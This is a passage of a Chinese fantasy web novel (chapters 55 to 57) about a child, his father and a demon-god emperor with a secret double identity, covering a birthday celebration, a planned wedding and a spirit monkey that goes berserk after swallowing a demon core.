昨夜再怎么闹怎么欺负他都没有生气,反倒说起那小东西露出这样的眼神,真叫人怕怕的。 同时心跳也更激烈了,那样的他更好看。 小崽子对他来说很重要,那孩子的娘亲重要吗?为什么一直藏着掖着? “戚宝七月初七生辰。” 沈不忘离开的时候,留下了一句不着首尾的话。 渡妄愣神了片刻,恍然大悟。 是要按照这个出生的时辰寻沈云戚的娘吗?肯定是这样的,这是明示了! 五年前,七月初七生过孩子的女子,而且相貌不俗的,这样找人的范围就小了很多。 渡妄至今依旧深信不疑,认为沈君钦在凡尘有一段情缘,为了保护那人,一直跟自己装傻装不记得。 七月初七是个大日子,皇宫上上下下文武百官全都知晓了此事。 至于这是个什么日子吧,皇帝没有说,是他们自己需要动脑筋的好日子。 乞巧节?冷酷的帝王应该不会在意这个节日吧,他连祖宗都不在乎。 难不成是什么纪念日?但是皇上没说。 谁的寿宴?那是谁的了? 百官商讨议论,你来我去互通消息,最后还是知晓了不少事情。 之前祭祖大典上摄政王和国师政变,直接折损在秘境中,朝廷眼下官位空缺,所有人都争相表现,等着加官进爵。 于是不出几日便上了许多册子给出一些如何庆祝的建议。 皇城已经好些年没有大喜事了,后宫里传出了一些消息,兴许是皇上要大婚了,虽说之前皇上大张旗鼓下聘求婚被拒一事,在奉京所有人脑中被抹去了。 不过皇帝好早之前却是让人制作了婚服,那婚服还是按照沈公子的尺寸做的,不光如此,还给沈公子的儿子,七皇子也做了两套新衣服,大约是成亲当日穿的。 又有人说,沈公子之前却是不太待见皇上,不过最近一段日子可是有宫女太监好几次见他夜宿在皇上的寝宫,次日一早离去,神色芷坦然,行为之淡定。 好事将近,肯定是好事将近。 但是若是这一日是婚事的话,不足半月,时间是否有些过于仓促。 御书房内堆积如山的奏折里,贺兰忱眼睛困成了蚊香圈,握着的笔也抖抖抖,行不成文,困顿如狗。 “谁让你睡觉的?快点批阅奏折,今日必定给朕选出来一方案。”渡妄转头见他这幅样子,抓着他的肩膀疯狂的摇晃。 贺兰忱觉得自己都快被摇成了脑震荡,幽幽的睁开眼,欲哭无泪。 他终于体会了一遭没爸妈的糟糕日子,只有个暴躁的便宜父皇天天就知道压迫他。 此时此刻,贺兰忱跟前世的戚宝共情了。 “父皇,你立沈云戚当太子吧,我不想当你儿子了。”贺兰忱因困而挂在眼角的泪珠,慢慢的滑了下来。 渡妄怔怔的看着他半响,若有所思。 贺兰忱嘤着泪水,哭唧唧的可怜样,喊道:“父皇~~~你行行好,自己干点活吧,我只是个童工。” “沈云戚更小,下个月初七才五岁。”渡妄若有所思道。 贺兰忱精神一凛,立即端坐起来,问道:“原来父皇你是想七月初七给小弟弟过生辰啊,那你看这个庆祝的形式,他肯定会喜欢。” “重点他也不识字,若是识字就你们两来……什么过生辰?”渡妄回过神来,斜眼打量了臭小子一眼。 贺兰忱又说:“其实父皇你心里也是很喜欢小弟弟的吧,长得那么可爱,又聪明。” “呵呵。”渡妄冷笑一声,喜欢那小子,不可能。 贺兰忱又说:“既然要给戚宝过生辰,那我就不困了,我保证把这件事情给你办的好好的。” 渡妄:…… 他深感自己上当受骗了,活了几百岁的魔神大人,竟然被一个七岁的小孩耍的团团转,这合理吗? 当初在无相寺的时候,这小子可是跟自己表过忠诚,愿意帮助他缠住小的那个,给他创造跟沈君钦相处的机会。 还能帮他排忧解难,处理一些杂事。 现在看下来,这小子干起活来一点用都没有,但是缠着小崽子一起玩倒是挺合格的。 贺兰忱又说:“既然是你第一次给戚宝过生辰的话,礼物就劳烦父皇你自己选吧。” “什么,还要给他送礼物?”渡妄阴阳怪气的说道,眉头挑的老高。 贺兰忱嘴角抽了抽,觉得很无语。 渡妄很快走人了,走时还鸟枪换炮换了身衣裳和身份去跟沈家父子约会去了。 贺兰忱真羡慕啊,这人为什么每次都压榨自己啊? 他仔细思考了一下小说剧情,渡妄肯定不可能当皇帝还自己干活的,原文小说里山河王朝沦为魔窟也是二十年后,这些年难不成都是渡妄自己管理国家的? 不可能,绝对不可能。 贺兰忱看着堆积如山的奏折,皱着眉头思索了好久,忽地想到了个好主意。 他决定将这件事情外包出去。 倒霉蛋便是谢明堂。 谢明堂当了二十五年的纨绔,唯一吃过的苦便是爱情的苦,好不容易鼓起勇气打算追求沈不忘,却被沈不忘当做害死了无数位妻子的渣男。 后来算是洗清嫌疑了,却已然好久没有见过沈不忘了,想要跟他解释一番,得到的消息确是皇兄要跟沈不忘成亲了,虽然尚未公开,但是朝上朝下全都心知肚明了。 这打击一遍又一遍的,这不,贺兰忱将办婚礼的工作外包给他的时候,他道心碎了。 贺兰忱看着苦着脸的谢明堂,赶紧解释道:“不是婚典,沈云戚五岁生辰,想要给他好好办办,小叔父,你可以的!” 谢明堂稍稍来了点精神,开始干了起来。 渡妄知晓此事,并未多说什么,只让贺兰忱好好监工,又私下告知谢明堂需要找七月初七的生过孩子相貌不俗的女子来京。 谢明堂百思不得其解,跟百官商讨后,还是乖乖找干。 身为生辰的主人,尚不知有人给他准备了什么惊喜,所有人都不知这个生辰会过成什么样,前世今生,这是他第一次过生日。 前世,他甚至有意忘记自己的生日,反正也不会有人记得。 这辈子,这也是他第一个生日,不过他也并未放在心上。 此时此刻,戚宝正在忙着自己的大事,要给颜渡准备结婚礼物,上次不告而别,也不知道他爹跟颜渡叔叔是不是发生了龃龉,那日看着不太开心。 戚宝在城里找了好久,终于在一场海上狩猎商人那买到了一个三等的夜明珠,其他的东西太贵太稀有了,早就被人抢狩一空,这个夜明珠听说是什么可以增进夫妻感情的,戚宝也没有听懂如何增进,还是买下来了。 一下子就花了五百金。 颜渡收到这份礼物的时候,心下微微触动,想到早上贺兰忱说要给戚宝准备个生辰礼物,他甚至都不想,简直该死。 戚宝还满怀期待的问他,道:“颜渡叔叔,你打开看一下,你喜欢吗?” 颜渡看着怀里的东西,笑得真心实意,道:“你送的我都喜欢。” “你成婚的好日子定在哪一天,还有认识你这么久了,也不知道你住在哪里?到时候我们怎么去你府上祝贺?”戚宝又问。 颜渡愣了愣,当初也没有想这么多,现在却发现两个身份后面需要做的事情有些多了,住处和成婚的日子,这该怎么说了? 他是不是该告诉他们父子,他的真实身份是什么? 以及他要成婚的事情,到此时为止只有他们三人知晓,甚至沈云戚尚不知道他的身份,也并不知道他要成婚的人就是他爹。 颜渡目光投向沈不忘,神色稍显复杂,他还没有跟他儿子说要结为道侣之事。 从那日之后,已经过去大半个月了。 戚宝见他没有回答,还一直盯着自己的爹看着,正色道:“颜渡叔叔,你什么时候成亲了?” “嗯。”颜渡应了一声。 戚宝扯了扯嘴角,他是不是不想他们去参加婚礼? 沈不忘慢条斯理的倒了杯茶,自顾自的喝了一口。 颜渡又将目光投向他,沈不忘淡淡的扫了他一眼,问道:“颜兄是有什么苦衷吗?” “苦衷倒是没有。”颜渡挠挠头,又说,“这成亲大事自然要选黄道吉日,我回去同他商讨一番再告诉你。” 戚宝乖乖点头,道:“到时候我给你夫人也送你一个礼物,我还是第一次参加婚礼。”大大的眼睛冲满是期待。 “你送什么他都会开心的。”颜渡眼睛弯弯成了月牙状,似真的很开心。 鼎盛斋外忽然响起了声音。 “别挂歪了,当心点。” “左边一点,对对,就挂在那。” …… 戚宝疑惑的看过去,有些诧异,问道:“这是在干什么?城中有什么庆典吗?” “七月初七,是你生辰。”沈不忘说道。 戚宝嘴角有些压不住,随即又问:“我生辰跟城中这些有什么干系?我又不是什么大人物,是不是爹你花钱让人搞得?” “不是,是皇帝弄的。”沈不忘解释道。 他本意就是想渡妄对戚宝好一点,缓解一下两个人的关系,所以告诉他小家伙快生辰了,他倒是挺上心的。 戚宝一听这话,眼底是藏不住的笑意,嘴上却傲娇的说道:“干嘛呀?对我这么好,是不是有求于我?” 原本不怎么感兴趣的,这下他要趴在窗户旁边仔细看看,这人是怎么给自己过生辰。 城门处还有不少妇人带着孩子在那边登记,亦有各处来的厨子,各大菜系全都备上。 戚宝目光看得很远,心情前所未有的愉悦。 夜里,沈不忘给小家伙哄睡了后,发现他的衣裳不知道什么时候弄破了。 他正拿着衣服准备给它重新缝起来,身后便来了人将他腰搂住,在他耳边亲了亲,低声道:“为什么最近不去我那?” “不是日日能见着吗?”沈不忘说的是白天的时候,每日都一起用餐吃饭,说着推开他,“我要就寝了。” “待会再,我给你带了好酒,助兴。”渡妄哑声说道。 沈不忘冷冷的看他一眼,道:“既然你没有兴致,便回吧。” “什么,我可太有兴致了!你别颠倒是非!”渡妄怒了,别看他表面上冷冷清清的,竟然这么坏。 沈不忘疑惑说:“那你还要助兴?” “这是给你助兴的,你总是冷冷淡淡的,让我好伤心啊。”渡妄觉得他对自己不够热情,自那夜之后,他便总以他“断了”来推脱,甚至连摸摸都拒绝。 沈不忘凉凉的扫了他一眼,什么东西,能助兴? 渡妄就献宝过来了,是一壶好酒,香味醇厚,沈君钦酒量比较一般,一贯是冷静克制的性子,不喜放纵,并没喝酒的爱好。 “改日吧,戚宝还在房内。”沈不忘拒绝道。 渡妄自己饮了一口,摁住他的脑袋,嘴对嘴给他喂了下去。 这般喂了几口,沈不忘脸都红了不少,眼中染着水雾,情动的极快,此酒助兴的效果极好。 渡妄抱着他去了偏房,沈不忘坐他身上,目光似冷漠似混乱的盯着他,可能他又是真的醉了。 “哈哈。”渡妄被他的模样逗笑了。 沈不忘转头看身后,渡妄直接将他拉了回来。 …… 一夜时间很快就过去了,渡妄甚至有些意犹未尽,使了个咒法,让黑夜变得更长一些。 沈不忘第二天早上醒来的时候。 他一脚将狗男人踹开,狗男人却握着他的脚,从小腿一直亲到了大腿。 “你撒手。”沈不忘觉得有什么东西在失控。 “不要。”他含糊的说着,有伺候了他一次。 沈不忘觉得昨夜十分不对劲,不知那酒里放了什么,恼火不已。 渡妄却将酒给他检查,只是普通的酒水,不过却是上等仙酿,能够提升灵力修为,人间是寻不到的。 真正起作用的事他的好大儿送的夜明珠,那哪里是什么夜明珠,而是一枚花妖的妖丹,对闺房之事有催情之效,却是如狩猎队所说的那般,能增进夫妻感情。 沈不忘还是觉得不对劲,渡妄不给他思考的机会,转移了话题:“我们的婚事什么时候办了?你是不是还没有跟小家伙说?” “办什么?”沈不忘俨然没有这方面的意识,结为道侣一事天地为鉴便可。 渡妄立即嚷嚷道:“要办婚礼,要明媒正娶,这样你就不能耍赖了。” “那……八月十五吧。”沈不忘随意说个日子。 渡妄眉开眼笑,道:“那便八月十五。” 沈不忘一边穿衣服,身边的人一边扯着他的衣带,心情十分愉悦的自说自话,一边说要宴请多少人,要给他做什么样式的婚服,又问他什么时候告诉沈云戚。 “时间到了,我自会说。”沈不忘回头看他一眼,忽而看到他口中含着个什么东西。 他下意识的捏住他的脖子,让他张口。 渡妄状似无所觉,张口让他检查,实则早就将那花妖的妖丹藏于腹内,哪能让他看见,看到了日后还能用吗? 沈不忘什么都没有发现,有些疑惑。 “爹,你们在干嘛?”戚宝一进屋就看到他爹想要掐死狗皇帝,心里怕怕的,已经到了要杀人的这一步了吗? 沈不忘有些不自在的放开他,渡妄也不言语,看上去老实巴交的,实在不符合他的性子。 狗皇帝走后,戚宝悻悻的说道:“爹……你别杀他,其实……他人也挺好的。” “嗯。”沈不忘暗自松了一口气,好在没有发现什么异样。 * 千里之外,邺城。 天色亮了又黑,无数的人押送着衣衫褴褛的少年上了刑场,看到天又黑了,人群中激动的情绪更为爆炸。 “烧死他,烧死他!” “这个妖孽,他吃了全村的人。” “烧死他。” …… 刑场上被绑着的少年,他喃喃自语:“不是的,我不是妖孽,我没有杀人。” 可没有人听他的。 忽然人群的叫声退去,空气中布满了血腥味,他努力的睁开眼,他已经瞎了很久了,他本该看不见的。 可是此时,他看到天亮了,一个手执长剑的修士站在满城尸骨上。 “你是谁?!”他愤怒的大喊。 那人似乎笑了,一字一顿的回应道:“你,不,是,认,识,我,吗?” 是他?是他!是他! 村里所有人都认识他,可是却叫不出他的名字来。 第 56 章 掉马 上午的时间似乎过得很快, 不一会儿便到了下午,戚宝打算再去蓬莱海阁看看狩猎队有什么好东西卖不。 原本这个楼被那妖蛟破坏的不成形状了,短短几个月, 便又重新建造好, 蓬莱海阁也是修真界的一门, 不过他们门派喜好做买卖,是几界最大的连锁拍卖行, 在人间各国的都城都有分店。 戚宝这一次才知道这里是卖东西的,之前还以为是格物楼。 今天前去, 戚宝正巧遇上了颜渡。 颜渡心情格外的不错,远远看着便是春风拂面,光彩照人的。 “你是说,你八月十五号成亲?”沈不忘听到他说的成亲时间,目光不由变得冷寂, 他沉着眸子打量着眼前的男人。 颜渡挑了挑眉, 嬉笑着回看他,似乎并未觉得有何不妥。 戚宝立即应道:“是个很好的日子啊,中秋节,人月两团圆,你们肯定百年好合。” “小宝宝真是小嘴抹了蜜。”颜渡充满爱怜的捏了捏戚宝的小脸。 “什么时候能去你家看看吗?”戚宝问道。 颜渡道:“什么时候都可以。” “那等会我买完东西, 你带我去好不好?”戚宝兴奋的说道。 颜渡应好,一大一小一问一答的,看上去十分亲昵。 沈不忘坐在一旁默默的看着他,终于确认了一件事,排除每一个不可能,剩下的那个就算再荒唐也是真相,他们两竟是同一个? 其实两人的相貌上有很多相似之处, 颜渡可能是更青少年时候他的模样,像是少年侠士一般在江湖上闯荡,目光赤忱明朗,侠肝义胆一身正气,而渡妄那厮周身透着一股邪气,看人时候的眼神总是冷冷的充满掠夺性的。 兴许正是因为他总是那般肆无忌惮的侵略十足的眼神看他,导致沈不忘并未仔细端详过他的容颜,于是便将气质截然相反的相似的脸,当做两个人了。 否则,一切不会这么巧合。 等他回过神来时,戚宝已经打算要跟颜渡走了,说着要去他府上看看,眼中满满都是期待。 沈不忘抬手按了一下戚宝的肩膀,道:“你刚刚要的吃的还没上,东海春雨花露。” “啊?那我先等一等吧。”戚宝又坐了回去,又说,“我还要给尊夫人买一个礼物了,总不能空手上门。” 真是个有礼貌的小孩子。 沈不忘起身出了雅间的门,回头看了一眼颜渡。 颜渡眼底都是笑意,会意,很快也找了个理由离开了房间。 时间一点一点过去,戚宝看着拍卖场上了一件又一件奇珍异宝,什么九阶魔物的内丹,什么千年寒冰雪莲,极地冰窟三重戒…… 都是修真人士需要的天材地宝,寻常的金银甚至都买不到,需要灵石。 戚宝没有灵石,看着便没什么兴致了,他爹和颜渡也不知道去了哪里,他也不打算在这龙蛇混杂之地到处乱跑,房门外便响起了敲门声。 “我父皇真的在这吗?”贺兰忱的声音在门外响起。 戚宝有些疑惑的打开门,看到门外正是贺兰忱,以及谢明堂。 谢明堂看到戚宝,有些诧异,随即问道:“陛下在此处吗?” “不在,我跟我爹一起来的。”戚宝如实回答。 谢明堂着急道:“我找皇上有急事,到处都寻不到他,方才有人说看着他在此处。” 戚宝更加疑惑了,贺兰忱又道:“那你便去找吧,戚宝还能帮你变出来父皇吗?” “就是。”戚宝想说早上的时候倒是见过狗皇帝,但这并没什么用,他也找不到人。 谢明堂立即急急忙忙的离开,到处去找人了,口中念叨着需要皇上定夺。 贺兰忱就不走了,探头探脑的凑进来,问道:“你爹了?” “不知道去哪里了。”戚宝邀请贺兰忱一起进来,给他分了一半自己点的饮料,说道,“快来喝这个,冰镇荔枝饮。” “味道还不错。”贺兰忱看了一眼桌上的茶杯,又问,“还有别人一起来吗?” 戚宝点头,道:“对,还有颜渡叔叔,他说他八月十五号就要成亲了。” “什么?”贺兰忱大惊失色,这是什么时候的事情?他要跟谁成亲,真的如大臣们议论的那般,他的便宜父皇跟戚宝他爹好事将近了。 我去,这瞒着可够紧的。 戚宝见他露出惶恐的神色,不由疑惑道:“你这么惊讶干嘛?” “哦,没事。”贺兰忱心脏突突的跳着。 贺兰忱心知他并不知颜渡的真实身份,所以还能状若无事的好好跟他说话。 若是知道了他是谁,只怕会心碎,心道两个老东西真不是人,怎么可以骗我们的乖宝宝了? 贺兰忱试探着询问:“你知道颜渡是谁吗?” “是……一个大帅哥。”戚宝认真思索了片刻。 “我不是说这个。”贺兰忱无奈道。 “比你帅。”戚宝斜了他一眼。 贺兰忱无言以对,又问了句:“他们要成亲了,你什么想法?” “祝福啊。”戚宝道。 贺兰忱一言难尽的看着沈云戚,爸爸的好大儿,你被忽悠瘸了。 戚宝觉得有些不对劲,问道:“什么意思?” 戚宝心中警铃大作,赶紧冲出了厢房,东南西北四个方向,随便选了个方位冲了过去,他忽然意识到了什么事情,可能他不断的阻拦沈不忘和渡妄在一起,导致了另一个故事的方向。 有个倒霉蛋被他爹选中了,那个人便是颜渡。 戚宝依旧当初的想法,无论是谁,他都不想对方替他去死。 毁灭无法达成的事情,就让他用爱来改变。 幸运的是,他找到了消失的两个大人。 不幸的是,他看到两个大人亲在一起。 原来没有细看尚未如此清晰的感受到,两人竟是如此般配,沈不忘淡蓝色的身影,被墨绿色的男人搂在怀里,他的胳膊以不可抗拒之势将他紧紧锢在怀里,碧落配青山,相互交错着,不知是山立于苍穹,还是蓝天甘愿融于山峦。 颜渡虽年轻,却比沈不忘高不少,肩膀也宽,微微低头的时候就可以亲吻到爱人的唇瓣,如斯缠绵,美如画卷。 啊啊啊啊啊,戚宝心中发出尖锐的爆鸣,怎么会这样? 两人似乎亲了有一会,没有立即发现有人来了。 不过小孩的目光却是直勾勾的,沈不忘率先回过神来,立即推开了颜渡,两个人保持了一段距离。 贺兰忱也姗姗来迟,表情有些空白。 “你……你们在干什么?”戚宝小脸煞白,难以置信的看着两个人。 沈不忘瞥了一眼神色坦然的颜渡,刚刚此人已经跟他坦白了身份,他们就是一人。 戚宝又问:“你说要成亲,该不会跟我爹成亲吧?” 颜渡正色道:“是的。” “你们为什么要瞒着我?”戚宝不敢置信,目光投向了他爹。 沈不忘有些脑仁疼,他也是刚刚才知道,颜渡要成亲的人竟然是自己。 但是他答应跟皇帝结为道侣一事,却是一直没有告诉乖崽。 颜渡见沈不忘不说话,便解释道:“我跟你爹也不是故意瞒着你的。” “你……”戚宝努力思考着,像是想到了什么,又说,“你……不能跟我爹成亲,狗皇帝会杀了你。” 颜渡:…… 你竟然叫我狗皇帝! 戚宝晓之以情动之以理,劝道:“虽然你是修真者,可是与一个王朝帝国为敌,双拳难敌四手,更何况是千军万马,对吧?还是小命要紧?” “你这小崽子,私下里竟然叫我狗皇帝吗?”面前的人声音忽然沉了下来,容颜也肉眼可见的变了,虽然还是那张脸,可是换上了黑色的衣裳,发型,气质尽数退去爽朗的模样。 戚宝吓得倒退了几步,颤抖的指着他,脑袋空空空空空空空空……荡荡的。 “你你你你……”你了好久说不出一句话来。 “怎么,不认识朕了吗?”渡妄眼底带着几分笑意。 戚宝感觉天旋地转的,差一点栽倒,贺兰忱赶紧扶住他,道:“你为什么吓他?” “贺兰忱,你你你……你也知道?”戚宝感觉天塌了。 贺兰忱摸了摸鼻子,看着比自己矮半个头的可怜小孩,他又大又圆的眼睛里闪闪的有泪光,瘪着嘴,简直委屈爆了。 贺兰忱赶紧解释撇清关系,道:“我不知道他们要成亲的事情,我也是那天放河灯的时候,才知道你的颜渡叔叔跟m……我便宜父皇是一个人。” “……”戚宝觉得自己是个傻子,眼泪在眼眶里打转。 沈不忘过来安抚他,温声解释道:“乖崽崽,爹没有想骗你,我也是刚刚才知道……他们是一人。” “可是你要跟狗皇帝成亲了,也不告诉我。”戚宝强忍着鼻酸,不让泪水落下。 沈不忘默了片刻,道:“之前想同你说,可是见你不喜他,爹想你们关系好一点再说。” “……”戚宝觉得好难受。 被欺骗的难受,更多的是对自己努力了那么久,还是走上了该死的命运。 沈不忘跟坏东西成婚,爱上他,杀了他,然后他走上复仇的路,父子相残吗? 他心里沉甸甸的,好窒息。 真的无法改变命运了吗? 他有些茫然了。 耳边还有大家的安慰,他听不太清楚,只是呆呆的沉浸在自己的思绪中。 良久之后,等到回过神来的时候,听到沈不忘在说:“你之前不是说想要吃蛋糕么?爹去给你做。” “要他做。”戚宝指着渡妄。 渡妄歪了歪脑袋,不明所以,不过对上沈不忘投来锐利的目光,轻松应道:“好的,没问题。” 那是什么东西啊? 沈不忘又跟他说,狗皇帝为了讨他欢心,想要给他过一个好好的生辰宴,戚宝傲娇的说道:“我又没求他。” “嗯,那是因为喜欢你。”沈不忘解释道。 戚宝悄悄抬眸打量了一眼那傲慢的帝王,真的吗?真的喜欢自己吗? 他心里有点点动摇。 贺兰忱也想说什么来着,便听到熟悉的声音传来:“陛下,终于找到你了。” 谢明堂跑得汗流浃背,一边擦着额角的汗水。 渡妄凉凉的瞥了他一眼,不想理会,只想快点解决眼前的境况,怒道:“有事快说。” 谢明堂被吓了一跳,赶紧战战兢兢的解释道:“皇……皇上,是这样的,我今日才知七月初七不是为了小沈公子办生辰,是为了找他娘亲,这……这钱银已经花下去了,该如何是好啊?” 戚宝:????!!!! 渡妄:!!!! 沈不忘沉着脸看着那狗皇帝。 “不是,我……你……”渡妄心中有些慌了,又气谢明堂跑来搅事。 “我再也不理你们了,我讨厌你们。”戚宝尚未熄灭的火重新燃爆了,变成火山猛烈的爆发。 根本就不喜欢他,那个坏东西根本就不喜欢他。 他爹也一直瞒着他,贺兰忱早就知道他的身份却不告诉自己…… 呜呜呜,他们把他耍的团团转。 他好脆弱,变成了个爱哭鼻子的小鬼。 他明明不是这样的人,他一直一直都很坚强的,从来都是一个人可以面对生活的风风雨雨,为什么现在要哭? 戚宝推开沈不忘,憋着一张红红的眼睛,转身跑了。 贺兰忱也没有犹豫,追了上去,沈不忘深深的看了一眼谢明堂,蹙了蹙眉头,也跟着两小崽子走了。 留在原地的只剩渡妄和谢明堂。 谢明堂两股战战,不敢吱声。 “谁告诉你不给小沈公子庆生的?”渡妄眯了眯眼睛。 谢明堂舌头都打结了,解释道:“是是是……是皇上,您之前不是还让人画了许多画像吗?” “呵,你这些小心思以为我不知吗?”渡妄声音冷冷的。 谢明堂双腿一软,直接跪倒在地上,道:“皇兄,我我……我是真心喜欢沈公子的,求你看在我们一母同胞的份上,不,求你看在我们一样都爱慕他的份上,就饶我一命吧。” “皇兄,你每一次都赢了,皇位,传承,就连喜欢的人……我只是个没用的废物,呜呜呜呜……” 渡妄一脚踹在他身上。 谁跟你一母同胞?你那倒霉皇兄早就骨头都烂了。 谢明堂倒在地上哭得不能自已,十分窝囊,哭哭啼啼的问道:“那……小戚的娘亲怎么处置?已经找到了。” 渡妄眉头一挑,问道:“什么?” “就……嗝……已经在外面候着了。”谢明堂哭得开始打嗝。 “带我去看看。”渡妄立即来了兴趣。 奉京的街上无论何时都十分热闹,正值酷暑,小摊贩全都转移到河边的柳荫下,长长河堤上无数的小车停着,不断地有人喊着“小少爷,来看看。”“小公子,这个帽子很衬你。”“小公子,不来个扇子吗?这天多热啊。” 戚宝全都充耳不闻,散漫的走在街上。 一边走一边擦眼泪,明明是大夏天,为什么还这么冷? 哦,原来不是天气冷了,而是心冷了。 戚宝就觉得自己是世界上最可怜的小孩,前尘往事尽数在脑海中闪回。 都不用想更久之前的事情,就今天早上的时候,他还担心他爹掐死狗皇帝,简直一腔热血喂了狗,他们都打算结婚了。 呜呜呜…… “谁知道他们早上在干什么?我就是他们play的一环。”戚宝龇牙咧嘴嘀咕道。 他真是个小丑,什么都不知道,还好心好意的给他们送新婚礼物,还什么增加夫妻感情,这个世界受伤的只有他。 “真讨厌,我不该送他礼物的,五百金。”戚宝又心疼起自己的钱来。 “呜啊呜啊。” 他忽然走不动道了,原来是空空抱住了他的腿,伸出手献上了一个好东西,戚宝顿时擦了擦眼泪,定睛一看,道:“夜明珠?”这不就是他买的那个夜明珠吗?被空空偷来了。 “哇哇哇。”空空抓耳挠腮的,让他别伤心。 戚宝伸手挠了挠他的下巴,道:“还是你好,只有你陪着我,关心我,我不要了,送给你吧。” 空空顿时两眼一亮,一骨碌将那夜明珠给吞了。 “喂,你别噎死了。”戚宝急了一下。 空空上蹿下跳的解释着,戚宝听懂了:“这是妖丹啊,你吃了可以提升修为!原来你是个灵兽啊,不过也对,你还会隐身。” “喂,臭小孩,你那猴子不错,归我了。”头顶忽然传来一声趾高气昂的声音。 第 57 章 两个男的是生不了孩子的…… 戚宝抬头看到站在桥上的人, 正是之前跟他闹过矛盾的袁不焕,此时身边还跟着好几个护卫,以及以为奇装异服的少年。 袁不焕看到了戚宝的样子, 不由愣了一下, 随后发出嘲笑道:“哟, 还哭了?怎么,你爹脚踏几条船的事情被皇上发现了, 要把你们赶出皇宫了?“ 戚宝一惊,难以置信的看着他们。 袁不焕傲慢的说道:“想问我怎么知道的?真的笑死我了, 朝中那些老顽固还说皇上要跟你爹成亲了,不过被皇上宠幸了两次,就会当皇后?一个带着孩子的乡野屠夫,刚刚在蓬莱海阁还被人看见跟别的男人搂搂抱抱的,真是不知羞耻。” “……”看吧, 就连一个路人甲都知道他们要成亲的事情。 他这个当事人的儿子都不知道, 他该不会是全世界最后一个知道他爹要结婚的人吧? 戚宝越想越委屈,撇着嘴开始哽咽,可是又不想在路人甲面前落泪,就这么干红着眼睛。 袁不焕见他哭了,有些懵逼, 嚷嚷道:“你搞什么?就算你哭了我也不会同情你的。”他现在还在生气了,那日灯会被这臭小孩害得落了水,所有人都知道他将军之后踢蹴鞠竟然不是文官的对手,甚至还要娶那个跳水救他之人。 戚宝吼道:“谁要你同情?” “你哭也没用,要怪就怪你那不知羞耻的爹,把灵□□给我,不然就别怪我不客气了。”袁不焕恶狠狠的威胁道。 戚宝才不要, 拽着空空的手,飞也似的跑了。 “你小子……诡计多端,给我追,谁抓到那灵兽,我重重有赏。”袁不焕骂骂咧咧。 人没萝卜大,心眼子竟然这么多,真是穷山恶水来的刁民。 袁不焕生气的想着,追了上去。 戚宝跑到了一个小巷子,前头没有去路了,身后又是将军府的随从,他立即心下一慌,袁不焕气喘吁吁的走在人群中道:“你跑得倒是很快。” “你死心吧,我不会把空空给你的。”戚宝死死的抱住怀里的猴子。 袁不焕才不理他说什么,一挥手让人将戚宝抓住,伸手去抢他的猴子,空空顿时吱哇乱叫起来,戚宝也提着小短腿,对着抓自己的人拳打脚踢。 “不要抢走我的空空,你们这群坏人。”戚宝嚷嚷着。 “拿来吧你。”袁不焕咬牙道,查布雨刚刚一眼就看出这灵猴十分稀有,蓬莱海阁的少东家都说好的东西,必然是很好的。 戚宝双拳难敌四手,很快小猴子就被抢走了,他被将军府的人像是丢垃圾一样丢在地上,道:“不知天高地厚的乡巴佬,敢跟我作对,你给我等着吧,你跟你那不要脸的爹,都会被赶出去奉京。” “谁要在你们这个破地方?我早就想走了,把空空还给我。”戚宝爬起来,冲上去要抢猴子。 袁不焕一把推开他,嫌恶的说道:“你还想活着离开?简直可笑。” 戚宝默默的看着手心的,刚刚被地上的木屑扎破了,此时流出了猩红的血,有些疼。 袁不焕继续在那撂狠话,怀里的猴子忽然狂性大发,原本不过小猫崽大小的猴子,此时身形突然暴涨,直接长成了五米高的巨型大猴子,龇牙咧嘴面露凶恶,红色的眼睛似发了狂一般。 妖丹在它体内起了作用,力量暴增。 它一脚踹开袁不焕,抓起一个欺负人的护卫反复砸在地上,其余人四下而散。 空空暴怒嘶吼,捡起地上的小戚宝,便朝着逃跑的人追去。 空空的速度很快,戚宝被晃得晕头转向,两眼发昏,一边喊道:“别跑了,我要吐了,你再跑我爹就找不到我了。” 奉京所有人都看到了此物,身高五米的巨大金色强壮大猴子,红色的眼睛,十分可怖,众人四下逃窜而去。 “天啦,那是什么?” “是妖物,快去找修士来捉拿他。” “司天监早就没人了,谁来救救我们啊?” “它还抓了个小孩。” …… 戚宝听到大家恐惧的议论想要解释一下,可是这般的颠簸让它吐了出来,根本说不出话来,忽然嘈杂的人群中传来了熟悉的声音:“这里有大香蕉。” 是贺兰忱。 空空似乎被大香蕉吸引了,垂首看去。 站在空空面前的正是贺兰忱,贺兰忱紧张的说道:“来吃个香蕉,放下沈云戚,你这样带着他,他会死掉的。” “嗷呜。”空空发出兴奋的声音。 它不想放下戚宝,它要杀了欺负他们的人。 贺兰忱听不懂,却不要它走,张开手臂拦住它的去处,道:“你别乱跑,这样你也会被杀掉的。” 沈不忘已经在暗中伺机出手,只要他动手,那此妖物必定身首异处。 空空还在乱叫,它吃了妖丹之后力量无处宣泄,只想发疯破坏。 “天圆地方,律令九章,降伏妖怪,化吉为祥。摄!” 忽地,一声口诀从身后响起,捉妖师的符咒飞出,直接飞旋在空空的身边,结为阵法,强大的力量直接将空空心中的暴躁化为云烟,变成了一只小猴。 戚宝和小猴都从空中落下。 站在暗处的沈不忘立即现身,伸手接住了戚宝,贺兰忱接住了妖物,他这才看清怀里的小猴子是空空,原来不是什么妖怪抓走了戚宝。 “此猴乃灵兽,误食妖力强大的妖丹,所以失控。”那捉妖师是之前跟着袁不焕的少年,不是中原人士的穿搭,极具异域风情,眉眼深邃,瞳色浅淡,他看贺兰忱疑惑的看着他,莞尔道,“在下查布雨,是蓬莱海阁的捉妖猎人。” “你好,我是贺兰忱。”贺兰忱道。 查布雨也没有寒暄的意思,笑道:“那我就不打扰了。” * 戚宝吐得一塌糊涂,胃里的酸水都吐了出来,在户外跑了好久还有些中暑,小脸惨白的,看上去好不脆弱可怜,眼睛也因为之前哭过而变得红红的。 沈不忘让他坐在自己腿上,给他漱漱口,轻轻抚摸着他的背脊,温声安慰着他。 贺兰忱搞了一碗盐糖水来给他喝:“补充点电解质。” “……”戚宝喝了好几口,便虚弱无力的倒在他爹的怀里。 贺兰忱看着爱撒娇的小孩,无语问天,怎么这么会跟爹爹撒娇了? 沈不忘听到他在嘀嘀咕咕,凑上去问道:“你想要什么?” 戚宝拽着他的衣襟,仰着脸看他,眼睛因为中暑缘故盛着泪水。 真是个小可怜。 贺兰忱在旁边开始很忙起来,倒了一杯水又把水倒回茶壶里去,时不时瞥他们一眼,他觉得自己应该离开这里,可是转念一想,若是他走了,谁来给戚宝撑腰了? 于是贺兰忱厚着脸皮留了下来。 